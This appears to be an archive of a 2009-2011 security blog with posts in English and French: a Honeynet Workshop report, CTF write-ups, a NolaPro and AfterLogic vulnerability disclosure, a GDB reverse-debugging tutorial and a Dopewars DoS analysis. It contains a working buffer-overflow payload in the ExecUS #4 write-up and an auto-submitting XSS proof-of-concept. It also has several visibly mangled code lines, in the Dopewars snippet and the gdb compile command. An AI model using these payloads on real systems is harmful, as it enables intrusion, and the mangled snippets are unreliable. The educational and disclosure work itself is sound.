Solution 36

Honeynet Workshop 2011

2011-03-30T06:35:00.000-04:00

Note : This is a cross-post from the Corelan Team blog.

Introduction

March 21th I was in Paris for the annual Honeynet Workshop. For the first time this year there was a conference day accessible to the general public. Moreover, I didn't have to pay the registration fee since I successfully completed one of the Honeynet Forensics challenges. The day was split in 4 sessions and had talks covering the Honeynet projects, malware, and ethical and legal considerations of tracking botnets and eventual take-downs.

There was also a CTF taking place during the day so I didn't take as much notes as I wanted, this is also why I will not be covering all the talks in this article.
All the slides are available here : http://www.honeynet.org/node/626

R&D in Honeynet Project by David Watson

The first talk presented some of the current Honeynet projects. Through the years the Honeynet Project has been a major player in the domain of botnet tracking with the release of numerous open-source honeypots and articles on the subject.
Hopefully, projects are still very active in part with the help of the Google Summer of Code for which the Honeynet Project is a mentoring organization. By the way, if you are a full-time university student and would like to be paid to work on some kickass open-source software, the Honeynet project was selected again this year and the application period starts March 28th.

As a quick reminder, an important concept with honeypots is the distinction between high-interaction and low-interaction honeypots.
Low-interaction means that the honeypot is not relying on the original system but is emulating it. High-interaction honeypots usually are implemented as addons, for example through a kernel module, that tracks the internal changes to the system.

Both approaches have their advantages, low-interaction is usually safer since it is emulating the system being attacked and is thus not vulnerable to the flaws in that system. It usually scales better since it is emulating only the parts needed and thus requires less resources, as opposed to high-interaction
honeypots that often require a complete virtual machine.
On the other side, high-interaction honeypots are better at discovering unknown flaws (0days). Depending on the complexity of the target system, the implementation of a high-interaction honeypot might take less time than writing an emulation stack for it.

The first project presented by David was Dionanea, a low-interaction honeypot that aims to replace Nepenthes which is a popular Honeynet software. The fact that is it using Python makes it easier to extend than Nepenthes which was written in C++. It is integrating libemu for automated shellcode detection. Also, it has a SQL interface which make it easier to query the results as opposed to parsing the log files.

The second project David talked about is Sebek. It is a high-interaction honeypot which integrates in the kernel of Windows. It currently uses SSDT hooking for tracing which is a technique used by rootkits (proof that techniques and knowledge is not malicious by itself).

David mentioned they want to change the hooking to inline kernel modifications to make it stealthier. The replacement version of this project is called Qebek it uses QEMU and relies on breakpoint to monitor events, making it possible for example to see the keystrokes on the system as they happen. I don't know if the authors of this software are aware of the fact that the project name sounds a lot like Québec which is the state where I come from (and also the name of a project which you will learn about in the upcoming weeks/months, stay tuned!).

Another Honeynet project is Capture-HPC which is a client-side honeypot (ie browsers) that uses VMware. The fact that it relies on virtual machines make it hard to scale. That's where PhoneyC comes in. It is written in Python and supports personalities to modify the behaviour of the browser. It uses Spidermonkey as the Javascript engine and also has support to mock ActiveX controls. It also uses libemu like Dionanea for shellcode detection. Later during the day Angelo Dell'Aera, the author of the software, mentioned that he is actually working to switch to the V8 javascript engine (the one used in Chrome) since Spidermonkey has a very limited API which makes it hard to extend.

Finally, Glastopf is a web honeypot that emulates a web server and is useful to detect vulnerabilities like RFI, LFI, SQL injection. The author of the project Lukas Rist did a little live demonstration of his tool running on one of his webservers and we could see attacks coming in every few seconds.
As you can see there are a lot of great honeypots being developed by the Honeynet project, make sure you have a look at them.

Efficient Analysis of Malicious Bytecode Linespeed Shellcode Detection and Fast Sandboxing by Georg 'oxff' Wicherski

In this talk, Georg presented a shellcode detection library he designed and explained some its inner working. He started with a quick overview of what shellcodes are and how they are made position-independent via a GetPC sequence.

Apart from the traditional call-pop sequence which is the standard one, he also mentioned the use of floating point instructions, namely fnop and fnstenv to get the current address, a technique I wasn't aware of.

Georg then explained the differences between two current approaches for shellcode detection, namely statistical methods and pattern matching. Statistical methods rely on the likelihood of a sequence of instructions to exist in or outside shellcode, kind of like bayesian filters work to detect spam. This method requires training and is also false negative and false positive prone.

For these reasons, Georg preferred to implement a method based on GetPC sequence identification and then emulation of the instructions preceding the GetPC sequence to remove false positives.

Georg implemented this in a library named libscizzle. It uses libemu for emulation. Since one of the project goals was performance, It also uses sandboxed hardware execution to make it faster.

Georg mentioned that he successfully used this library in CTFs (Defcon, RuCTFe). The library is available for download here in the form of a pre-compiled shared object (Unix DLL equivalent) some header files and a little test application, the source code is not available.

High Performance Packet Sniffing by Tillmann Werner

In this talk Tillman explained the design and the need for two tools he wrote : multicap and streams.

multicap is a tool to do high-performance packet sniffing to avoid dropped packets. To increase performance, Tillman used a ring-buffer to reduce memory allocations. He also used the PF_PACKET socket which has the advantage of already including the timestamp in the packet, removing the need to call the localtime() function for every packet. Finally multicap uses memory-mapped files to dump the packets which should increase performance. Tillman did a quick demo of his tool. A comparison of the performance with existing tools like tcpdump and dumpcap would have been nice.

The second tool is streams. It does TCP stream reassembly for a packet trace (pcap file), in a similar way to the "Reassemble TCP Stream" feature of Wireshark. multicap is interactive and makes it possible to filter or search the streams.

Both tools are open-source and available here :

multicap http://src.carnivore.it/multicap/
streams http://src.carnivore.it/streams/

Basics of Honeyclients by Angelo Dell'Aera and Christian Seifert

This talk was dealing with two complementary subjects : the rise of client-side attacks and the tools developed by the Honeynet project to detect those attacks. As I already talked a bit about PhoneyC and Capture-HPC in the first section of this article, I will focus mostly on the second part of the talk.

Since a couple of years already there is a shift in attacks to client-side applications (browsers, Flash, Adobe Reader, Java etc.). Keeping client applications and all associated plugins up to date is a challenge for a lot of users and entreprises and as Christian mentioned, client applications are driven by end-users which remain the weakest-link of the security chain.

The talk then explained how cyber-criminals are using the web to distribute malware via Malware Distribution Networks. Christian presented a diagram taken from Microsoft Security Intelligence Threat report which I found really interesting.

Source: Microsoft Security Intelligence Threat Report (http://www.microsoft.com/sir)

The attacks generally use multiple layers of servers.
The first one consists of compromised web servers (often via unpatched vulnerabilities in popular applications) which links to another server, most of the time via injected iframes. That second server, known as the redirector, will embed or redirect to another server which contains an exploit kit. If one of the exploit succeeds, it will download and install some malware from yet another server.

Generally a lot of infected sites point to the same exploit server, the quantity of traffic diverted to them determines their effectiveness. Having multiple legitimate servers linking to a redirector also increase it's ranking in search engines and can be further increased via SEO campaigns.

Microsoft estimates that 2.8% of exploit servers are responsible for 84% of drive-by-download. What is particularly noteworthy is the fact that the infection links usually remain active for only a few days or even hours; by the time the links are flagged as malicious by lists such as Google SafeBrowsing or McAfee SiteAdvisor they are often already inactive. This also makes the task harder for security companies to retrieve the malicious content. The use of Javascript obfuscation is further complicating the task of researchers.

Spy VS Spy : Countering SpyEye with SpyEye by Lance James

The last talk of the day dealt with SpyEye, a botnet kit which generated a lot of buzz lately since it is supposedly merging with ZeuS.

SpyEye is a kit cyber-criminals can buy for around 1000 to 3000 US$. It is customizable and comes with modules to steal credit card numbers and credentials via formgrabbing in browsers, harvesting of credentials for FTP, POP etc. ... in summary it's pretty nasty. It also comes with a web panel where crooks can see the bots they are controlling and the information they gathered.

Lance then explained that in the current version, a lot of files on the C&C server are world-readable via the AJAX interface, including debug logs, configuration files and SQL backups. When connecting via the web panel a password is requested, an although Lance had the password from the SQL backup it would be illegal for him to connect in the USA. However, it is possible to connect a local SpyEye instance to a remote server (proxy mode) with no authentication whatsoever. Another advantage of this technique is that the botnet information is updated in the web panel in real-time. Pretty neat :)

Lance also presented statistics regarding the botnet he tracked. It was discovered in October 2010 and infected 28,590 unique computers. When you consider the quantity of information that was probably stolen during such a short period of time and the potential economical gain, it is not hard to understand why cybercrime is so popular.

The question of laws and ethics also came in this talk. Lance repeated numerous time that we are at a point where "Defense is dead" and we need to gain visibility. There is an increase in aggressive attacks on big companies, government and even security firms (think HBGary). The threat is growing exponentially and diversifying into politically oriented stuff. Other attendees joined the discussion and there was evident frustration and discontent with the fact that researchers need to combat adversaries that have no respect of the laws and ethic principles and stay for most of them out of reach of the legal system, while the researchers need to subject themselves to high standard of ethics (especially with regards to privacy) and evaluate their every moves to make sure they are not putting themselves in legal trouble.

I really had a good time attending the Honeynet Workshop, it was great to have a glimpse of the Honeynet Project from the inside.

Solution ExecUS #4 du Hackfest 2010

2010-11-08T22:26:00.000-05:00

Ce weekend se tenait le Hackfest 2010 à Québec et le samedi soir son traditionnel concours de sécurité. Notre équipe a terminé en 2e place, félicitations à nos bons amis d'Amish Security qui l'ont emporté haut la main.

NOTE: j'utilise ici une version recompilée du binaire, les adresses qui apparaissent dans cette solution ne sont probablement pas les mêmes que celles du binaire original. Si vous voulez l'essayer sur un Linux récent, assurez vous de désactiver le mode SSP :

gcc -fno-stack-protector -o execus4 execus4.c 

Cet article présente la solution de l'épreuve ExecUS #4, dont voici le code :

Le programme ouvre le fichier flag.txt (j'ai changé le nom mais le principe reste le même) contenant le flag et le copie dans /dev/null. Le fichier flag.txt n'est pas accessible directement, mais le binaire est configuré avec le bit SGID et le groupe y a accès en lecture.

À la ligne 27, on observe un cas de buffer overflow très standard puisque la taille de argv[1] ne fait l'objet d'aucune vérification au préalable.

strcpy(buf, argv[1]);

En observant l'ordre de déclaration des variables, il est probable que la variable ofd puisse être écrasée, ce que nous pouvons vérifier désassemblant le code :

804856a:   e8 41 fe ff ff          call   80483b0 <open@plt>
804856f:   89 84 24 28 01 00 00    mov    %eax,0x128(%esp)
8048576:   c7 44 24 04 01 00 00    movl   $0x1,0x4(%esp)
804857d:   00
804857e:   8d 44 24 1a             lea    0x1a(%esp),%eax
8048582:   89 04 24                mov    %eax,(%esp)
8048585:   e8 26 fe ff ff          call   80483b0 <open@plt>
804858a:   89 84 24 24 01 00 00    mov    %eax,0x124(%esp)
8048591:   8b 45 0c                mov    0xc(%ebp),%eax
8048594:   83 c0 04                add    $0x4,%eax
8048597:   8b 00                   mov    (%eax),%eax
8048599:   89 44 24 04             mov    %eax,0x4(%esp)
804859d:   8d 44 24 24             lea    0x24(%esp),%eax
80485a1:   89 04 24                mov    %eax,(%esp)
80485a4:   e8 57 fe ff ff          call   8048400 <strcpy@plt>

Comme on peut le voir, le résultat du 2e appel à open qui ouvre /dev/null en écriture est écrit à ESP+0x124 (ofd) et l'adresse à laquelle strcpy écrit (buf) est ESP+0x24. La variable ofd est donc situé 0x100 octets après buf, Convertit en décimal l'espace est de 256 octets, ce qui correspond à la longueur de buf.

On peut donc écraser ofd, mais en quoi celà peut nous être est utile ? Pour le comprendre, il faut se référer au fonctionnement d'UNIX. La variable ofd contient ce qu'on appelle un descripteur de fichier qui est un index dans la table des fichiers ouverts par le processus. Pour tous les processus, le système d'exploitation crée les descripteurs spéciaux suivants :

Entrée standard (stdin) : 0

Sortie standard (stdout) : 1

Sortie d'erreur (stderr) : 2

La solution est maintenant évidente, il suffit d'écraser ofd avec la valeur 1 pour que la clef soit écrite sur la sortie standard et apparaisse à l'écran. Nous allons construire une chaine constituée de 256 caractères pour remplir buf et de la valeur 1 pour écraser ofd. On peut passer cette valeur en paramètre à GDB en utilisant la commande suivante :

run $(ruby -e 'print "A" * 256 + "\x01"')

On peut vérifier le bon fonctionnement de notre exploit à l'aide de GDB. On commence par mettre un breakpoint juste avant l'appel à strcpy pour examiner la valeur de ofd.

(gdb) b *0x080485a4
Punto de interrupción 1 at 0x804858a: file execus4.c, line 25.
(gdb) run $(ruby -e 'print "A" * 256 + "\x01"')
Starting program: /home/ekse/code/execus4 $(ruby -e 'print "A" * 256 + "\x01"')
Dev null is an awesome 100% compression ratio, secure, backup device.

Breakpoint 1, 0x080485a4 in main (argc=2, argv=0xbffff3b4)
(gdb) x/x $esp+0x124
0xbffff2f4:    0x00000006

La valeur de ofd est actuellement 0x06. Le listing suivant montre que la valeur est bien écrasée par notre overflow.

(gdb) nexti
(gdb) x/65x $esp+0x24
0xbffff1f4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff204:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff214:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff224:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff234:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff244:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff254:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff264:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff274:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff284:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff294:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f4:    0x00000001
(gdb) x/x $esp+0x124
0xbffff2f4:    0x00000001

Maintenant que nous savons que notre exploit est fonctionnel, il suffit de lancer le binaire directement pour obtenir le flag (je n'ai malheureusement pas sauvegardé le flag original) .

ekse@eclipse:~/code$ ./execus4 $(ruby -e 'print "A" * 256 + "\x01"')

Dev null is an awesome 100% compression ratio, secure, backup device.

ALLGLORYTOTHEHYPNOTOAD

Un mot sur SSP

Le binaire utilisé lors de la compétition n'était pas compilé avec les mécanismes de sécurité tel que SSP pour facilité la solution. L'utilisation de SSP permet de bloquer cette avenue d'exploitation. Ce n'est pas toutefois pas par l'utilisation du canari (qui faisait d'ailleurs l'objet d'une très bonne présentation par Paul Rascagneres au Hackfest) puisque nous ne cherchons pas à écraser l'adresse de retour.

La mitigation vient plutôt du fait que SSP réorganise les variables sur la stack pour placer les tableaux après les variables de taille fixe. Le listing suivant montre le même code présenté plus haut mais lorsque le mode SSP est activé :

80485f5:    e8 fa fd ff ff           call   80483f4 <open@plt>
80485fa:    89 44 24 30              mov    %eax,0x30(%esp)
80485fe:    c7 44 24 04 01 00 00     movl   $0x1,0x4(%esp)
8048605:    00
8048606:    8d 84 24 39 01 00 00     lea    0x139(%esp),%eax
804860d:    89 04 24                 mov    %eax,(%esp)
8048610:    e8 df fd ff ff           call   80483f4 <open@plt>
8048615:    89 44 24 34              mov    %eax,0x34(%esp)
8048619:    8b 44 24 1c              mov    0x1c(%esp),%eax
804861d:    83 c0 04                 add    $0x4,%eax
8048620:    8b 00                    mov    (%eax),%eax
8048622:    89 44 24 04              mov    %eax,0x4(%esp)
8048626:    8d 44 24 39              lea    0x39(%esp),%eax
804862a:    89 04 24                 mov    %eax,(%esp)
804862d:    e8 12 fe ff ff           call   8048444 <strcpy@plt>

Comme on peut le voir, la variable ofd se trouve à ESP+0x34 et buf commence à ESP+0x39. On ne peut donc plus écraser ofd.

Defcon Quals - Binary 200 writeup

2010-05-25T12:25:00.000-04:00

This is a writeup on how to solve Binary 200 from the Defcon quals that were held this weekend.

In Binary 200, you were provided with an ELF binary. The first step is to determine what OS this binary was supposed to run on. A cursory look with an hex editor let you know that the binary is for Haiku OS, the open-source decedent of the now defunct BeOS.

We thus proceeded to download a VMware image from the official website and transferred the binary on it. The hardest part of the challenge was to figure out how to get a damn terminal on Haiku (click on the feather at the top to get the application menu). We then launched the binary and ... it crashed. Hopefully, Haiku came with gdb and it even offered a menu to debug the crashed application.

As can be seen on the image, the executable crashes in the pre_init() function while doing some pre-execution stuff. We could try and figure out what the problem is but we don't really care, we just want to program to run. Disassembling it with objdump, we see a symbol _start() which looks like our program entry point. In gdb, we jump to it using the command jump _start (yeah, that simple).

We then get an url taking us to a very weird video involving donkeys and people from Columbia (and definitely NSFW) that will leave you somewhat.. speechless. The key was "Asses of the Caribbean".

Additional details on NolaPro vulnerabilities (CORELAN-10-035)

2010-05-01T18:49:00.003-04:00

I released an advisory today concerning some web vulnerabilities in NolaPro, a free accounting application based on PHP/MySQL. In this blog post, I'll provide some insights on how I found the flaws. Those are fairly simple bugs so don't expect anything really ground-breaking; if you're a web application security specialist, you can safely spare yourself this reading. Otherwise, keep on reading :-)

Phase 1 : Target identification

The first step to assess an application is to install it in a testing environment and understand the way it works. NolaPro comes with an installer that bundles its own LAMP stack which makes it really simple to deploy. NolaPro also uses ionCube, a PHP code obfuscator. The php files look like this :

A source code review is not possible without first reversing the code or performing an analysis on the PHP bytecode. For this assessment, I preferred to use scanning since it would probably be easier and faster.

Phase 2 : Verification of Authentication

To access information in NolaPro, you first need to provide a valid user name and password. If you try to access a page directly without being logged in, you will be redirected to the login page. A common problem is that developers forget to verify the credentials on some pages of the web application : This is risk #8 (Failure to Restrict URL Access) of the OWASP Top 10. In PHP, this is most of the time done by including a PHP script that does this verification at the beginning of each php file. Using grep, files that don't perform the include can be easily spotted and reviewed manually. However in our case, this approach is not possible. We will thus need to request every page and see if it returns the login page or not.

Slight problem, NolaPro consists of about 860 files, so browsing each manually would be really long (and boring). I automated this approach by writing a little ruby script that given a list of filenames, requests each of them and prints the size of the returned page. My first approach was to perform the MD5 sum of each page but some code is changing on the login page every time you consult it, so the sums were all different.

When executing the script, we obtain an output similar to this :

Page: accounts.php
Code: Net::HTTPOK Length: 2
Page: action_addupdate.php
Code: Net::HTTPOK Length: 6853
Page: adminachdownload.php
Code: Net::HTTPOK Length: 6846
Page: adminapccvendoradd.php
Code: Net::HTTPOK Length: 6855
Page: adminapccvendorupd.php
Code: Net::HTTPOK Length: 6855
Page: adminapchkacctadd.php
Code: Net::HTTPOK Length: 6860
Page: adminapchkacctupd.php
Code: Net::HTTPOK Length: 6858
Page: adminapglacct.php
Code: Net::HTTPOK Length: 6850
Page: adminapgroupsadd.php
Code: Net::HTTPOK Length: 6853
Page: adminapgroupsupd.php
Code: Net::HTTPOK Length: 6853
Page: adminapilog.php
Code: Net::HTTPOK Length: 6848
Page: adminapilogdata.php
Code: Net::HTTPOK Length: 33
Page: adminappaytermsadd.php
Code: Net::HTTPOK Length: 6859
Page: adminappaytermsupd.php
Code: Net::HTTPOK Length: 6859

As we can see, most pages return a length around 6850 bytes. However, in this output, we see 2 clear outliers : accounts.php with a length of 2 and adminapilogdata.php. I then manually reviewed each of those pages (about 15) and found an interesting one : checkfile.php. This script takes a php script name and returns some information about the variables. However, we can use it to verify if some files exist on the system. For example, this is the output obtained when we input C:\boot.ini.

In comparison, passing an invalid path will result in the following output :

The warning is due to the fact that I enabled them on my system to make scanning more effective and wouldn't normally appear. However, we see that the script writes No pude! when the file does not exist. While we can't read the content of files, this could be used by an attacker to precisely identify the environment he is attacking.

Phase 3 : Some more scanning

Our first tests revealed that the application has some problems, so there are good chances it contains common flaws like cross-site scripting, command execution or injection. Enter w3af. w3af is an open-source web application scanning tool that provides modules for a lot of tests, of which a full list is available here : http://w3af.sourceforge.net/plugin-descriptions.php. w3af is designed to be easy to use and while it has some stability issues it is quite effective.

However, if we simply point w3af to our Nolapro installation and launch it, the scan finishes in a few seconds. The reason is simple : since w3af is not logged-in, it can't access any pages other than the login form. To perform the scan, we will enable the SpiderMan module. SpiderMan is a proxy which will log our requests to the server. See http://securityaudit.blogspot.com/2009/09/using-w3af-for-testing-web-application.html for a detailled explanation on how to use it. Basically, we will configure our browser to use the proxy and log in the application and navigate the pages. w3af will intercept the cookie provided by the web application and use it for its tests.

w3af found 3 XSS flaws, 1 command execution and 1 potential SQL injection. Manual review revealed the XSS and SQL flaws were indeed present (the command execution seems to be a false positive).

Conclusion

With this assessment, we saw that completely automated scans are bound to miss interesting flaws; however, we can use automated tests to do a lot of repetitive and simple tasks and perform verification of common flaws with minimal manual testing. In the context of a complete assessment, manual testing time would be better spent in the verification of logic flaws that are difficultly automated but nonetheless very important to check for. Using the proverbial formula, this is left as an exercise to the reader, at least until a next blog post :-)

I want to end by thanking Noguska for their great response and providing a patched version in a couple of days. Thanks also to Corelan Team for being such a great group to be part of.

Video : Using Fireforce to brute-force web login forms

2010-03-07T13:45:00.000-05:00

Fireforce is a Firefox extension to do brute-force attacks on web forms. Here's a short video I made that explains how to use it.

FAIL@Microsoft

2009-11-24T12:45:00.000-05:00

Ce matin je voulais tester l'outil de révision de code CAT.NET de Microsoft. Pendant l'installation de .NET Framework 4.0 Beta 2, j'ai obtenu la fenêtre suivante :

Le texte de la licence doit faire une vingtaine de page et est affiché dans un fente d'à peine 1 pouce de hauteur. Si Microsoft veut que l'on accepte ses licences sans les lire, aussi bien nous le dire directement.

Plus tard, je télécharge Web Application Configuration Analyzer (WACA), un autre outil de Microsoft. J'obtiens la page suivante :

Je crois qu'une relecture du point 6 du Top 10 OWASP s'impose...

Présentation sur le fuzzing et les tests d'intrusions

2009-11-13T11:39:00.001-05:00

Le 7 novembre dernier, je faisais une présentation avec mon collègue Éric Gingras au Hackfest 2009. Notre présentation portait sur le fuzzing et les tests d'intrusion. Elle est maintenant disponible en téléchargement.

GDB reverse debugging tutorial

2009-10-17T13:48:00.013-04:00

Update : Thanks to Michael Snyder for the tip on making watchpoints work.

GDB 7.0 was released last week with a major new feature : reverse debugging. Even though some related commands are documented in the gdb manual, I have yet to find an article explaining how to use this neat feature. So here it is : my GDB reverse debugging tutorial.

If you are impatient to test it and already know gdb, here are the useful commands :

break main
run
record
continue to a certain point
reverse-step, reverse-next, reverse-continue, reverse-finish

First, you need to get version 7 of GDB. If like me you are using Arch Linux, then it is already available in the official repositories, else you'll need to go through the compilation process.

Next, compile your program with the -ggdb switch. This is not mandatory but will allow you to follow the program execution line by line (instead of relying on the assembly instructions). For this article, we'll use a very basic C program.

#include <stdio.h>

void foo() {
     printf("inside foo()");
     int x = 6;
     x += 2;
}

int main() {

     int x = 0;
     x = x+2;
     foo();
     printf("x = %d\n", x);
     x = 4;
     return(0);
}

We compile it with the -ggdb switch :

gdb -ggdb -o test test.c

Next we open the program with gdb as usual :


gdb test

Now, we need to record the execution of the program, but we need to first start the program to do so. We'll set a breakpoint on the main function so that the program stops at the very beginning of the code.


(gdb) break main
Breakpoint 1 at 0x80483ed: file test.c, line 11.
(gdb) run
Starting program: /home/ekse/test Breakpoint 1, main () at test.c:11 11 int x = 0;
(gdb)

Our program is now started. To record the execution, simply type the record command :


(gdb) record

The execution is now recorded. We'll now execute the first lines of code with the next command :

(gdb) next
12 x = x+2;
(gdb) next
13 foo();
(gdb) print x
$1 = 2

As you can see, the value of the x variable is now 2. Now, we can go back one line with the reverse-next command :

(gdb) reverse-next
12 x = x+2;
(gdb) print x
$2 = 0

Reverse execution worked as expected ! Breakpoints also work in reverse execution. For example, we'll set a breakpoint on the line 16 to stop just before the end of the program.

(gdb) break 16
Breakpoint 5 at 0x8048414: file test.c, line 16.
(gdb) cont
Continuing. inside foo()x = 2
Breakpoint 5, main () at test.c:16 15 return(0);

We are now at the end of the program. Now let's say we want to go back to when the foo() function was called. We set a breakpoint on it and use reverse-continue :

(gdb) break foo
Breakpoint 6 at 0x80483ca: file test.c, line 4.
(gdb) reverse-continue
Continuing.

Breakpoint 6, foo () at test.c:4
4               printf("inside foo()");

It is also possible to use watchpoints. By using the watch command, we can make the program stop when the value of a variable is changed. To make it work, we must disable hardware watchpoints prior to setting our watchpoint :


(gdb) set can-use-hw-watchpoints 0
(gdb) watch x
Watchpoint 3: x
(gdb) reverse-continue
Continuing.
Watchpoint 3: x

Old value = 4
New value = 2
main () at test.c:14
14              x = 4;

Unfortunately, the reverse execution support is not perfect. For example, if you continue the program further, it will remove the breakpoint when reaching the printf() call inside of foo() Looking at the backtrace makes it obvious that GDB is confused about it's current location the code (that might be because the stack is not completely reconstructed when executing backwards):

(gdb) reverse-continue
Continuing.

Watchpoint 3 deleted because the program has left the block in
which its expression is valid.
0xb7ec6ea3 in vfprintf () from /lib/libc.so.6
(gdb) list foo
1       #include 
2
3       void foo() {
4               printf("inside foo()");
5               int x = 6;
6               x += 2;
7       }
8
9       int main() {
10
(gdb) backtrace
#0  0xb7ec6ea3 in vfprintf () from /lib/libc.so.6
#1  0x00000000 in ?? ()

Still, reverse debugging is a really neat feature and with further enhancement it could become a game changer and avoid many headaches to programmers and QA workers.

Analyse : Dopewars 1.5.12 Server Denial of Service

2009-10-07T19:37:00.003-04:00

Dans cet article, je fais l'analyse d'un Denial of Service découvert dans le serveur du jeu Dopewars 1.5.12. Le bug a été découvert par dougtko et l'avis original peut-être lu ici : http://seclists.org/bugtraq/2009/Oct/36.

Le problème est rencontré lorsqu'un joueur utilise un jet pour se déplacer. Le code fautif est le suivant :

serverside.c : ligne 505

case C_REQUESTJET:
 i = atoi(Data);
...

Plus loin, la valeur est utilisée de cette façon :

else if (i != Play->IsAt && (NumTurns == 0 || Play->Turn <>EventNum == E_NONE && Play->Health > 0) {
 dopelog(4, LF_SERVER, "%s jets to %s", GetPlayerName(Play), Location[i].Name);
...

Location est un tableau de structures LOCATION qui représentent les villes du jeu. Comme le jeu ne contient que 8 villes, il est possible de lire bien en dehors du tableau. En utilisant une adresse suffisamment grande, une lecture en dehors de la limite de la mémoire du programme sera tenté ce qui cause un erreur de segmentation et fait planter le serveur.

Pour corriger le problème, le code suivant a été ajouté après avoir récupéré la valeur de i :

/* Make sure value is within range */
if (i <>= NumLocation) {
 dopelog(3, LF_SERVER, _("%s: DENIED jet to invalid location %s"), GetPlayerName(Play), Data);
 break;
}

Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro

2009-09-30T16:46:00.007-04:00

Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro


Description
-------------
AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection
of malicious code in the context of the application.

Overview
-----------
Quote from http://www.afterlogic.com/products/webmail-pro :
"Webmail front-end for your existing POP3/IMAP mail server. Offer your users
the fast AJAX webmail and innovative calendar with sharing. Stay in control
with the admin panel and the developer's API."

Details
--------
Vulnerable Product : AfterLogic WebMail Pro <= 4.7.10
Vulnerability Type : Cross-Site Scripting (XSS)
Affected page : history-storage.aspx
Vulnerable parameters : HistoryKey, HistoryStorageObjectName
Discovered by : Sébastien Duquette (http://intheknow-security.blogspot.com)
                Gardien Virtuel (www.gardienvirtuel.com)
Advisory : http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt

Timeline
----------
Bug Discovered : September 18th, 2009
Vendor Advised : September 23rd, 2009
Fix made available : September 30th, 2009

Proof of concept
-------------------
The targeted user must be logged in the webmail. This proof of concept was
successfully tested in Firefox 3.5 and Internet Explorer 8.

<html>
<head>
</head>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://WEBSITE/history-storage.aspx?param=0.21188772204998574" onsubmit="return false;">
<input type="hidden" name="HistoryKey" value="value">
<input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //">
</form>
</body>
</html>

Solution
---------
The vendor has made available a patched version. Update to AfterLogic Webmail Pro 4.7.11

Retracer la source d'une image avec TinEye

2009-09-15T11:43:00.006-04:00

Depuis quelque temps, j'utilise le service Twitter pour me tenir au courant de ce qui se passe dans le monde de la sécurité informatique. Comme tout ce qui existe sur le web, il n'a pas fallu grand temps avant que Twitter soit ciblé par le spam. Généralement, le spam se présente de cette façon : vous recevez un message de Twitter vous indiquant que quelqu'un désire s'abonner à votre profil. La photo de cette personne est généralement d'une fille sexy, souvent peu vêtue. Voici un exemple d'invitation que j'ai reçu ce matin :

De nombreux indices laisse deviner qu'il s'agit bien de spam : le fait que ce compte suit un grand nombre de personnes (66) alors que personne ne le suit, le compte a envoyé très peu de messages et ils contiennent des URL vers des sites qui désirent vous offrir quelque à vendre ou qui tentent d'infecter votre PC.

Une autre méthode pour déterminer sur un compte est légitime est de retracer la source de la photo utilisée sur le profil. Le site TinEye.com permet de retracer les sites qui contiennent la même image. En recherchant l'image du compte on obtient les résultats suivants (l'image originale s'appellait 15136422_sexykirstel_24_bigger.gif alors que le compte est au nom d'une supposée Wilda, ce qui nous indique aussi qu'il s'agit d'un faux compte) :

TinEye a retrouvé la même image sur 5 sites différents et qui n'ont aucun rapport avec notre nouvelle amie. La meilleure chose à faire est de tout simplement ignorer le message.

Les 250 mots de passes les plus utilisés

2009-09-12T22:58:00.007-04:00

Dernièrement j'ai découvert la liste des 250 mots de passe les plus utilisés sur Internet. Cette liste est basée sur les mots de passes des sites Singles.com, phpBB et MySpace qui ont été publiés suite au piratage de ces sites.

Je voulais obtenir la liste des mots de passe au format texte puisque la plupart des outils de sécurité (john, medusa, etc.) utilise ce format. J'ai donc écrit un petit script Ruby en utilisant Hpricot, un parseur HTML. Après avoir extrait le tableau du document original, le simple script suivant a fait le travail.

require 'rubygems'
require 'hpricot'

doc = Hpricot(open("common_passwords.html"))

counter = 1
(doc/"td").each do |td|
if counter % 3 == 0 then
puts td.inner_html
end
counter = counter + 1
end

La liste des mots de passe est disponible ici : http://sites.google.com/site/ekse0x/top250_passwords.txt

Pour ceux que ça intéresse, un tutoriel sur Hpricot : http://soledadpenades.com/2007/06/15/extracting-data-with-hpricot/

La liste est intéressante car elle nous donne une indication très représentative des mots de passe utilisés par les gens. On peut par exemple voir que le mot de passe le plus utilisé, 123456, représente 1.12% de tous les mots passe, ce qui veut dire qu'une personne sur 100 l'utilise. Les 25 mots de passe les plus utilisés représente 5% des mots de passes les plus utilisés. C'est énorme. Toute personne qui utilise l'un de ces mots de passes courre le risque que quelqu'un devine son mot de passe et accède à son compte.

Autre détail intéressant, le nom du site apparait assez haut dans la liste des mots de passe les plus populaire pour chacun des sites :

phpbb - 3e position
myspace1 - 7e position
single - 14e position

Une bonne pratique pour les administrateurs de ces sites serait d'interdire d'utiliser le nom du site et les termes qui s'en rapproche comme mot de passe.

Pour plus d'analyse, je vous invite fortement à lire le document original : http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php

Désactiver les protections sous Linux pour pratiquer le développement d'exploit

2009-08-14T13:28:00.008-04:00

Je suis actuellement à parfaire mes connaissances sur le développement d'exploit pour utiliser des vulnérabilités de type buffer overflow. Armé de ma bible, je tente actuellement de mettre en pratique les différentes techniques (stack overflow, heap overflow, format strings bug, GOT rewriting etc.) en complétant les exercices Insecure Programming by example de gera.

